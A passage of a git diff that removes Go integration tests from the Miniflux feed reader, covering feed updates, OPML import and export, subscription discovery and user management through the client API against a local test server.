feed, _ := createFeed(t, client) - - keeplistRules := "test" - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{KeeplistRules: &keeplistRules}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.KeeplistRules != keeplistRules { - t.Fatalf(`Wrong KeeplistRules value, got "%v" instead of "%v"`, updatedFeed.KeeplistRules, keeplistRules) - } - - keeplistRules = "" - updatedFeed, err = client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{KeeplistRules: &keeplistRules}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.KeeplistRules != keeplistRules { - t.Fatalf(`Wrong KeeplistRules value, got "%v" instead of "%v"`, updatedFeed.KeeplistRules, keeplistRules) - } -} - -func TestUpdateFeedUserAgent(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - userAgent := "test" - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{UserAgent: &userAgent}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.UserAgent != userAgent { - t.Fatalf(`Wrong UserAgent value, got "%v" instead of "%v"`, updatedFeed.UserAgent, userAgent) - } - - userAgent = "" - updatedFeed, err = client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{UserAgent: &userAgent}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.UserAgent != userAgent { - t.Fatalf(`Wrong UserAgent value, got "%v" instead of "%v"`, updatedFeed.UserAgent, userAgent) - } -} - -func TestUpdateFeedCookie(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - cookie := "test" - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{Cookie: &cookie}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.Cookie != cookie { - t.Fatalf(`Wrong Cookie value, got "%v" instead of "%v"`, updatedFeed.Cookie, cookie) - } - - cookie = "" - updatedFeed, err = client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{Cookie: &cookie}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.Cookie != cookie { - t.Fatalf(`Wrong Cookie value, got "%v" instead of "%v"`, updatedFeed.Cookie, cookie) - } -} - -func TestUpdateFeedUsername(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - username := "test" - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{Username: &username}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.Username != username { - t.Fatalf(`Wrong Username value, got "%v" instead of "%v"`, updatedFeed.Username, username) - } - - username = "" - updatedFeed, err = client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{Username: &username}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.Username != username { - t.Fatalf(`Wrong Username value, got "%v" instead of "%v"`, updatedFeed.Username, username) - } -} - -func TestUpdateFeedPassword(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - password := "test" - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{Password: &password}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.Password != password { - t.Fatalf(`Wrong Password value, got "%v" instead of "%v"`, updatedFeed.Password, password) - } - - password = "" - updatedFeed, err = client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{Password: &password}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.Password != password { - t.Fatalf(`Wrong Password value, got "%v" instead of "%v"`, updatedFeed.Password, password) - } -} - -func TestUpdateFeedCategory(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - newCategory, err := client.CreateCategory("my new category") - if err != nil { - t.Fatal(err) - } - - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{CategoryID: &newCategory.ID}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.Category.ID != newCategory.ID { - t.Fatalf(`Wrong CategoryID value, got "%v" instead of "%v"`, updatedFeed.Category.ID, newCategory.ID) - } -} - -func TestUpdateFeedWithEmptyCategoryID(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - categoryID := int64(0) - if _, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{CategoryID: &categoryID}); err == nil { - t.Error(`Updating a feed with an empty category should not be possible`) - } -} - -func TestUpdateFeedWithInvalidCategoryID(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - categoryID := int64(-1) - if _, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{CategoryID: &categoryID}); err == nil { - t.Error(`Updating a feed with an invalid category should not be possible`) - } -} - -func TestMarkFeedAsRead(t *testing.T) { - client := createClient(t) - - feed, _ := createFeed(t, client) - - results, err := client.FeedEntries(feed.ID, nil) - if err != nil { - t.Fatalf(`Failed to get entries: %v`, err) - } - if results.Total == 0 { - t.Fatalf(`Invalid number of entries: %d`, results.Total) - } - if results.Entries[0].Status != miniflux.EntryStatusUnread { - t.Fatalf(`Invalid entry status, got %q instead of %q`, results.Entries[0].Status, miniflux.EntryStatusUnread) - } - - if err := client.MarkFeedAsRead(feed.ID); err != nil { - t.Fatalf(`Failed to mark feed as read: %v`, err) - } - - results, err = client.FeedEntries(feed.ID, nil) - if err != nil { - t.Fatalf(`Failed to get updated entries: %v`, err) - } - - for _, entry := range results.Entries { - if entry.Status != miniflux.EntryStatusRead { - t.Errorf(`Status for entry %d was %q instead of %q`, entry.ID, entry.Status, miniflux.EntryStatusRead) - } - } -} - -func TestFetchCounters(t *testing.T) { - client := createClient(t) - - feed, _ := createFeed(t, client) - - results, err := client.FeedEntries(feed.ID, nil) - if err != nil { - t.Fatalf(`Failed to get entries: %v`, err) - } - - counters, err := client.FetchCounters() - if err != nil { - t.Fatalf(`Failed to fetch unread count: %v`, err) - } - unreadCounter, exists := counters.UnreadCounters[feed.ID] - if !exists { - unreadCounter = 0 - } - - unreadExpected := 0 - for _, entry := range results.Entries { - if entry.Status == miniflux.EntryStatusUnread { - unreadExpected++ - } - } - - if unreadExpected != unreadCounter { - t.Errorf(`Expected %d unread entries but %d instead`, unreadExpected, unreadCounter) - } -} - -func TestDeleteFeed(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - if err := client.DeleteFeed(feed.ID); err != nil { - t.Fatal(err) - } -} - -func TestRefreshFeed(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - if err := client.RefreshFeed(feed.ID); err != nil { - t.Fatal(err) - } -} - -func TestGetFeed(t *testing.T) { - client := createClient(t) - feed, category := createFeed(t, client) - - if feed.Title != testFeedTitle { - t.Fatalf(`Invalid feed title, got "%v" instead of "%v"`, feed.Title, testFeedTitle) - } - - if feed.SiteURL != testWebsiteURL { - t.Fatalf(`Invalid site URL, got "%v" instead of "%v"`, feed.SiteURL, testWebsiteURL) - } - - if feed.FeedURL != testFeedURL { - t.Fatalf(`Invalid feed URL, got "%v" instead of "%v"`, feed.FeedURL, testFeedURL) - } - - if feed.Category.ID != category.ID { - t.Fatalf(`Invalid feed category ID, got "%v" instead of "%v"`, feed.Category.ID, category.ID) - } - - if feed.Category.UserID != category.UserID { - t.Fatalf(`Invalid feed category user ID, got "%v" instead of "%v"`, feed.Category.UserID, category.UserID) - } - - if feed.Category.Title != category.Title { - t.Fatalf(`Invalid feed category title, got "%v" instead of "%v"`, feed.Category.Title, category.Title) - } -} - -func TestGetFeedIcon(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - feedIcon, err := client.FeedIcon(feed.ID) - if err != nil { - t.Fatal(err) - } - - if feedIcon.ID == 0 { - t.Fatalf(`Invalid feed icon ID, got "%d"`, feedIcon.ID) - } - - expectedMimeType := "image/x-icon" - if feedIcon.MimeType != expectedMimeType { - t.Fatalf(`Invalid feed icon mime type, got %q instead of %q`, feedIcon.MimeType, expectedMimeType) - } - - if !strings.HasPrefix(feedIcon.Data, expectedMimeType) { - t.Fatalf(`Invalid feed icon data, got "%v"`, feedIcon.Data) - } - - feedIcon, err = client.Icon(feedIcon.ID) - if err != nil { - t.Fatal(err) - } - - if feedIcon.MimeType != expectedMimeType { - t.Fatalf(`Invalid feed icon mime type, got %q instead of %q`, feedIcon.MimeType, expectedMimeType) - } - - if !strings.HasPrefix(feedIcon.Data, expectedMimeType) { - t.Fatalf(`Invalid feed icon data, got "%v"`, feedIcon.Data) - } -} - -func TestGetFeedIconNotFound(t *testing.T) { - client := createClient(t) - if _, err := client.FeedIcon(42); err == nil { - t.Fatalf(`The feed icon should be null`) - } -} - -func TestGetFeeds(t *testing.T) { - client := createClient(t) - feed, category := createFeed(t, client) - - feeds, err := client.Feeds() - if err != nil { - t.Fatal(err) - } - - if len(feeds) != 1 { - t.Fatalf(`Invalid number of feeds`) - } - - if feeds[0].ID != feed.ID { - t.Fatalf(`Invalid feed ID, got "%v" instead of "%v"`, feeds[0].ID, feed.ID) - } - - if feeds[0].Title != testFeedTitle { - t.Fatalf(`Invalid feed title, got "%v" instead of "%v"`, feeds[0].Title, testFeedTitle) - } - - if feeds[0].SiteURL != testWebsiteURL { - t.Fatalf(`Invalid site URL, got "%v" instead of "%v"`, feeds[0].SiteURL, testWebsiteURL) - } - - if feeds[0].FeedURL != testFeedURL { - t.Fatalf(`Invalid feed URL, got "%v" instead of "%v"`, feeds[0].FeedURL, testFeedURL) - } - - if feeds[0].Category.ID != category.ID { - t.Fatalf(`Invalid feed category ID, got "%v" instead of "%v"`, feeds[0].Category.ID, category.ID) - } - - if feeds[0].Category.UserID != category.UserID { - t.Fatalf(`Invalid feed category user ID, got "%v" instead of "%v"`, feeds[0].Category.UserID, category.UserID) - } - - if feeds[0].Category.Title != category.Title { - t.Fatalf(`Invalid feed category title, got "%v" instead of "%v"`, feeds[0].Category.Title, category.Title) - } -} - -func TestGetFeedsByCategory(t *testing.T) { - client := createClient(t) - feed, category := createFeed(t, client) - - feeds, err := client.CategoryFeeds(category.ID) - if err != nil { - t.Fatal(err) - } - - if len(feeds) != 1 { - t.Fatalf(`Invalid number of feeds`) - } - - if feeds[0].ID != feed.ID { - t.Fatalf(`Invalid feed ID, got "%v" instead of "%v"`, feeds[0].ID, feed.ID) - } - - if feeds[0].Title != testFeedTitle { - t.Fatalf(`Invalid feed title, got "%v" instead of "%v"`, feeds[0].Title, testFeedTitle) - } - - if feeds[0].SiteURL != testWebsiteURL { - t.Fatalf(`Invalid site URL, got "%v" instead of "%v"`, feeds[0].SiteURL, testWebsiteURL) - } - - if feeds[0].FeedURL != testFeedURL { - t.Fatalf(`Invalid feed URL, got "%v" instead of "%v"`, feeds[0].FeedURL, testFeedURL) - } - - if feeds[0].Category.ID != category.ID { - t.Fatalf(`Invalid feed category ID, got "%v" instead of "%v"`, feeds[0].Category.ID, category.ID) - } - - if feeds[0].Category.UserID != category.UserID { - t.Fatalf(`Invalid feed category user ID, got "%v" instead of "%v"`, feeds[0].Category.UserID, category.UserID) - } - - if feeds[0].Category.Title != category.Title { - t.Fatalf(`Invalid feed category title, got "%v" instead of "%v"`, feeds[0].Category.Title, category.Title) - } -} diff --git a/internal/tests/import_export_test.go b/internal/tests/import_export_test.go deleted file mode 100644 index b30e6acd..00000000 --- a/internal/tests/import_export_test.go +++ /dev/null @@ -1,46 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -//go:build integration -// +build integration - -package tests - -import ( - "bytes" - "io" - "strings" - "testing" -) - -func TestExport(t *testing.T) { - client := createClient(t) - - output, err := client.Export() - if err != nil { - t.Fatal(err) - } - - if !strings.HasPrefix(string(output), "<?xml") { - t.Fatalf(`Invalid OPML export, got "%s"`, string(output)) - } -} - -func TestImport(t *testing.T) { - client := createClient(t) - - data := `<?xml version="1.0" encoding="UTF-8"?> - <opml version="2.0"> - <body> - <outline text="Test Category"> - <outline title="Test" text="Test" xmlUrl="` + testFeedURL + `" htmlUrl="` + testWebsiteURL + `"></outline> - </outline> - </body> - </opml>` - - b := bytes.NewReader([]byte(data)) - err := client.Import(io.NopCloser(b)) - if err != nil { - t.Fatal(err) - } -} diff --git a/internal/tests/subscription_test.go b/internal/tests/subscription_test.go deleted file mode 100644 index d9ed9311..00000000 --- a/internal/tests/subscription_test.go +++ /dev/null @@ -1,53 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -//go:build integration -// +build integration - -package tests - -import ( - "testing" - - miniflux "miniflux.app/v2/client" -) - -func TestDiscoverSubscriptions(t *testing.T) { - client := createClient(t) - subscriptions, err := client.Discover(testWebsiteURL) - if err != nil { - t.Fatal(err) - } - - if len(subscriptions) != 1 { - t.Fatalf(`Invalid number of subscriptions, got "%v" instead of "%v"`, len(subscriptions), 2) - } - - if subscriptions[0].Title != testSubscriptionTitle { - t.Fatalf(`Invalid feed title, got "%v" instead of "%v"`, subscriptions[0].Title, testSubscriptionTitle) - } - - if subscriptions[0].Type != "atom" { - t.Fatalf(`Invalid feed type, got "%v" instead of "%v"`, subscriptions[0].Type, "atom") - } - - if subscriptions[0].URL != testFeedURL { - t.Fatalf(`Invalid feed URL, got "%v" instead of "%v"`, subscriptions[0].URL, testFeedURL) - } -} - -func TestDiscoverSubscriptionsWithInvalidURL(t *testing.T) { - client := createClient(t) - _, err := client.Discover("invalid") - if err == nil { - t.Fatal(`Invalid URLs should be rejected`) - } -} - -func TestDiscoverSubscriptionsWithNoSubscription(t *testing.T) { - client := createClient(t) - _, err := client.Discover(testBaseURL) - if err != miniflux.ErrNotFound { - t.Fatal(`A 404 should be returned when there is no subscription`) - } -} diff --git a/internal/tests/tests.go b/internal/tests/tests.go deleted file mode 100644 index ac173e4b..00000000 --- a/internal/tests/tests.go +++ /dev/null @@ -1,68 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -//go:build integration -// +build integration - -package tests - -import ( - "fmt" - "math" - "math/rand" - "testing" - - miniflux "miniflux.app/v2/client" -) - -const ( - testBaseURL = "http://127.0.0.1:8080/" - testAdminUsername = "admin" - testAdminPassword = "test123" - testStandardPassword = "secret" - testFeedURL = "https://miniflux.app/feed.xml" - testFeedTitle = "Miniflux" - testSubscriptionTitle = "Miniflux Releases" - testWebsiteURL = "https://miniflux.app" -) - -func getRandomUsername() string { - return fmt.Sprintf("user%10d", rand.Intn(math.MaxInt64)) -} - -func createClient(t *testing.T) *miniflux.Client { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - _, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - return miniflux.New(testBaseURL, username, testStandardPassword) -} - -func createFeed(t *testing.T, client *miniflux.Client) (*miniflux.Feed, *miniflux.Category) { - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: categories[0].ID, - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - feed, err := client.Feed(feedID) - if err != nil { - t.Fatal(err) - } - - return feed, categories[0] -} diff --git a/internal/tests/user_test.go b/internal/tests/user_test.go deleted file mode 100644 index 6952bc06..00000000 --- a/internal/tests/user_test.go +++ /dev/null @@ -1,715 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -//go:build integration -// +build integration - -package tests - -import ( - "testing" - - miniflux "miniflux.app/v2/client" -) - -func TestWithWrongCredentials(t *testing.T) { - client := miniflux.New(testBaseURL, "invalid", "invalid") - _, err := client.Users() - if err == nil { - t.Fatal(`Using bad credentials should raise an error`) - } - - if err != miniflux.ErrNotAuthorized { - t.Fatal(`A "Not Authorized" error should be raised`) - } -} - -func TestGetCurrentLoggedUser(t *testing.T) { - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.Me() - if err != nil { - t.Fatal(err) - } - - if user.ID == 0 { - t.Fatalf(`Invalid userID, got %q`, user.ID) - } - - if user.Username != testAdminUsername { - t.Fatalf(`Invalid username, got %q`, user.Username) - } -} - -func TestGetUsers(t *testing.T) { - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - users, err := client.Users() - if err != nil { - t.Fatal(err) - } - - if len(users) == 0 { - t.Fatal("The list of users is empty") - } - - if users[0].ID == 0 { - t.Fatalf(`Invalid userID, got "%v"`, users[0].ID) - } - - if users[0].Username != testAdminUsername { - t.Fatalf(`Invalid username, got "%v" instead of "%v"`, users[0].Username, testAdminUsername) - } - - if users[0].Password != "" { - t.Fatalf(`Invalid password, got "%v"`, users[0].Password) - } - - if users[0].Language != "en_US" { - t.Fatalf(`Invalid language, got "%v"`, users[0].Language) - } - - if users[0].Theme != "light_serif" { - t.Fatalf(`Invalid theme, got "%v"`, users[0].Theme) - } - - if users[0].Timezone != "UTC" { - t.Fatalf(`Invalid timezone, got "%v"`, users[0].Timezone) - } - - if !users[0].IsAdmin { - t.Fatalf(`Invalid role, got "%v"`, users[0].IsAdmin) - } - - if users[0].EntriesPerPage != 100 { - t.Fatalf(`Invalid entries per page, got "%v"`, users[0].EntriesPerPage) - } - - if users[0].DisplayMode != "standalone" { - t.Fatalf(`Invalid web app display mode, got "%v"`, users[0].DisplayMode) - } - - if users[0].GestureNav != "tap" { - t.Fatalf(`Invalid gesture navigation, got "%v"`, users[0].GestureNav) - } - - if users[0].DefaultReadingSpeed != 265 { - t.Fatalf(`Invalid default reading speed, got "%v"`, users[0].DefaultReadingSpeed) - } - - if users[0].CJKReadingSpeed != 500 { - t.Fatalf(`Invalid cjk reading speed, got "%v"`, users[0].CJKReadingSpeed) - } -} - -func TestCreateStandardUser(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - if user.ID == 0 { - t.Fatalf(`Invalid userID, got "%v"`, user.ID) - } - - if user.Username != username { - t.Fatalf(`Invalid username, got "%v" instead of "%v"`, user.Username, username) - } - - if user.Password != "" { - t.Fatalf(`Invalid password, got "%v"`, user.Password) - } - - if user.Language != "en_US" { - t.Fatalf(`Invalid language, got "%v"`, user.Language) - } - - if user.Theme != "light_serif" { - t.Fatalf(`Invalid theme, got "%v"`, user.Theme) - } - - if user.Timezone != "UTC" { - t.Fatalf(`Invalid timezone, got "%v"`, user.Timezone) - } - - if user.IsAdmin { - t.Fatalf(`Invalid role, got "%v"`, user.IsAdmin) - } - - if user.LastLoginAt != nil { - t.Fatalf(`Invalid last login date, got "%v"`, user.LastLoginAt) - } - - if user.EntriesPerPage != 100 { - t.Fatalf(`Invalid entries per page, got "%v"`, user.EntriesPerPage) - } - - if user.DisplayMode != "standalone" { - t.Fatalf(`Invalid web app display mode, got "%v"`, user.DisplayMode) - } - - if user.DefaultReadingSpeed != 265 { - t.Fatalf(`Invalid default reading speed, got "%v"`, user.DefaultReadingSpeed) - } - - if user.CJKReadingSpeed != 500 { - t.Fatalf(`Invalid cjk reading speed, got "%v"`, user.CJKReadingSpeed) - } -} - -func TestRemoveUser(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - if err := client.DeleteUser(user.ID); err != nil { - t.Fatalf(`Unable to remove user: "%v"`, err) - } -} - -func TestGetUserByID(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - _, err = client.UserByID(99999) - if err == nil { - t.Fatal(`Should returns a 404`) - } - - user, err = client.UserByID(user.ID) - if err != nil { - t.Fatal(err) - } - - if user.ID == 0 { - t.Fatalf(`Invalid userID, got "%v"`, user.ID) - } - - if user.Username != username { - t.Fatalf(`Invalid username, got "%v" instead of "%v"`, user.Username, username) - } - - if user.Password != "" { - t.Fatalf(`Invalid password, got "%v"`, user.Password) - } - - if user.Language != "en_US" { - t.Fatalf(`Invalid language, got "%v"`, user.Language) - } - - if user.Theme != "light_serif" { - t.Fatalf(`Invalid theme, got "%v"`, user.Theme) - } - - if user.Timezone != "UTC" { - t.Fatalf(`Invalid timezone, got "%v"`, user.Timezone) - } - - if user.IsAdmin { - t.Fatalf(`Invalid role, got "%v"`, user.IsAdmin) - } - - if user.LastLoginAt != nil { - t.Fatalf(`Invalid last login date, got "%v"`, user.LastLoginAt) - } - - if user.EntriesPerPage != 100 { - t.Fatalf(`Invalid entries per page, got "%v"`, user.EntriesPerPage) - } - - if user.DisplayMode != "standalone" { - t.Fatalf(`Invalid web app display mode, got "%v"`, user.DisplayMode) - } - - if user.DefaultReadingSpeed != 265 { - t.Fatalf(`Invalid default reading speed, got "%v"`, user.DefaultReadingSpeed) - } - - if user.CJKReadingSpeed != 500 { - t.Fatalf(`Invalid cjk reading speed, got "%v"`, user.CJKReadingSpeed) - } -} - -func TestGetUserByUsername(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - _, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - _, err = client.UserByUsername("missinguser") - if err == nil { - t.Fatal(`Should returns a 404`) - } - - user, err := client.UserByUsername(username) - if err != nil { - t.Fatal(err) - } - - if user.ID == 0 { - t.Fatalf(`Invalid userID, got "%v"`, user.ID) - } - - if user.Username != username { - t.Fatalf(`Invalid username, got "%v" instead of "%v"`, user.Username, username) - } - - if user.Password != "" { - t.Fatalf(`Invalid password, got "%v"`, user.Password) - } - - if user.Language != "en_US" { - t.Fatalf(`Invalid language, got "%v"`, user.Language) - } - - if user.Theme != "light_serif" { - t.Fatalf(`Invalid theme, got "%v"`, user.Theme) - } - - if user.Timezone != "UTC" { - t.Fatalf(`Invalid timezone, got "%v"`, user.Timezone) - } - - if user.IsAdmin { - t.Fatalf(`Invalid role, got "%v"`, user.IsAdmin) - } - - if user.LastLoginAt != nil { - t.Fatalf(`Invalid last login date, got "%v"`, user.LastLoginAt) - } - - if user.EntriesPerPage != 100 { - t.Fatalf(`Invalid entries per page, got "%v"`, user.EntriesPerPage) - } - - if user.DisplayMode != "standalone" { - t.Fatalf(`Invalid web app display mode, got "%v"`, user.DisplayMode) - } - - if user.DefaultReadingSpeed != 265 { - t.Fatalf(`Invalid default reading speed, got "%v"`, user.DefaultReadingSpeed) - } - - if user.CJKReadingSpeed != 500 { - t.Fatalf(`Invalid cjk reading speed, got "%v"`, user.CJKReadingSpeed) - } -} - -func TestUpdateUserTheme(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - theme := "dark_serif" - user, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{Theme: &theme}) - if err != nil { - t.Fatal(err) - } - - if user.Theme != theme { - t.Fatalf(`Unable to update user Theme: got "%v" instead of "%v"`, user.Theme, theme) - } -} - -func TestUpdateUserFields(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - stylesheet := "body { color: red }" - swipe := false - entriesPerPage := 5 - displayMode := "fullscreen" - defaultReadingSpeed := 380 - cjkReadingSpeed := 200 - user, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{ - Stylesheet: &stylesheet, - EntrySwipe: &swipe, - EntriesPerPage: &entriesPerPage, - DisplayMode: &displayMode, - DefaultReadingSpeed: &defaultReadingSpeed, - CJKReadingSpeed: &cjkReadingSpeed, - }) - if err != nil { - t.Fatal(err) - } - - if user.Stylesheet != stylesheet { - t.Fatalf(`Unable to update user stylesheet: got %q instead of %q`, user.Stylesheet, stylesheet) - } - - if user.EntrySwipe != swipe { - t.Fatalf(`Unable to update user EntrySwipe: got %v instead of %v`, user.EntrySwipe, swipe) - } - - if user.EntriesPerPage != entriesPerPage { - t.Fatalf(`Unable to update user EntriesPerPage: got %q instead of %q`, user.EntriesPerPage, entriesPerPage) - } - - if user.DisplayMode != displayMode { - t.Fatalf(`Unable to update user DisplayMode: got %q instead of %q`, user.DisplayMode, displayMode) - } - - if user.DefaultReadingSpeed != defaultReadingSpeed { - t.Fatalf(`Invalid default reading speed, got %v instead of %v`, user.DefaultReadingSpeed, defaultReadingSpeed) - } - - if user.CJKReadingSpeed != cjkReadingSpeed { - t.Fatalf(`Invalid cjk reading speed, got %v instead of %v`, user.CJKReadingSpeed, cjkReadingSpeed) - } -} - -func TestUpdateUserThemeWithInvalidValue(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - theme := "invalid" - _, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{Theme: &theme}) - if err == nil { - t.Fatal(`Updating a user Theme with an invalid value should raise an error`) - } -} - -func TestUpdateUserLanguageWithInvalidValue(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - language := "invalid" - _, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{Language: &language}) - if err == nil { - t.Fatal(`Updating a user language with an invalid value should raise an error`) - } -} - -func TestUpdateUserTimezoneWithInvalidValue(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - timezone := "invalid" - _, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{Timezone: &timezone}) - if err == nil { - t.Fatal(`Updating a user timezone with an invalid value should raise an error`) - } -} - -func TestUpdateUserEntriesPerPageWithInvalidValue(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - entriesPerPage := -5 - _, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{EntriesPerPage: &entriesPerPage}) - if err == nil { - t.Fatal(`Updating a user EntriesPerPage with an invalid value should raise an error`) - } -} - -func TestUpdateUserEntryDirectionWithInvalidValue(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - entryDirection := "invalid" - _, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{EntryDirection: &entryDirection}) - if err == nil { - t.Fatal(`Updating a user EntryDirection with an invalid value should raise an error`) - } -} - -func TestUpdateUserEntryOrderWithInvalidValue(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - entryOrder := "invalid" - _, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{EntryOrder: &entryOrder}) - if err == nil { - t.Fatal(`Updating a user EntryOrder with an invalid value should raise an error`) - } -} - -func TestUpdateUserPasswordWithInvalidValue(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - password := "short" - _, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{Password: &password}) - if err == nil { - t.Fatal(`Updating a user password with an invalid value should raise an error`) - } -} - -func TestUpdateUserDisplayModeWithInvalidValue(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - displayMode := "invalid" - _, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{DisplayMode: &displayMode}) - if err == nil { - t.Fatal(`Updating a user web app display mode with an invalid value should raise an error`) - } -} - -func TestUpdateUserWithEmptyUsernameValue(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - newUsername := "" - _, err = client.UpdateUser(user.ID, &miniflux.UserModificationRequest{Username: &newUsername}) - if err == nil { - t.Fatal(`Updating a user with an empty username should raise an error`) - } -} - -func TestCannotCreateDuplicateUser(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - _, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - _, err = client.CreateUser(username, testStandardPassword, false) - if err == nil { - t.Fatal(`Duplicated users should not be allowed`) - } -} - -func TestCannotListUsersAsNonAdmin(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - _, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - client = miniflux.New(testBaseURL, username, testStandardPassword) - _, err = client.Users() - if err == nil { - t.Fatal(`Standard users should not be able to list any users`) - } - - if err != miniflux.ErrForbidden { - t.Fatal(`A "Forbidden" error should be raised`) - } -} - -func TestCannotGetUserAsNonAdmin(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, 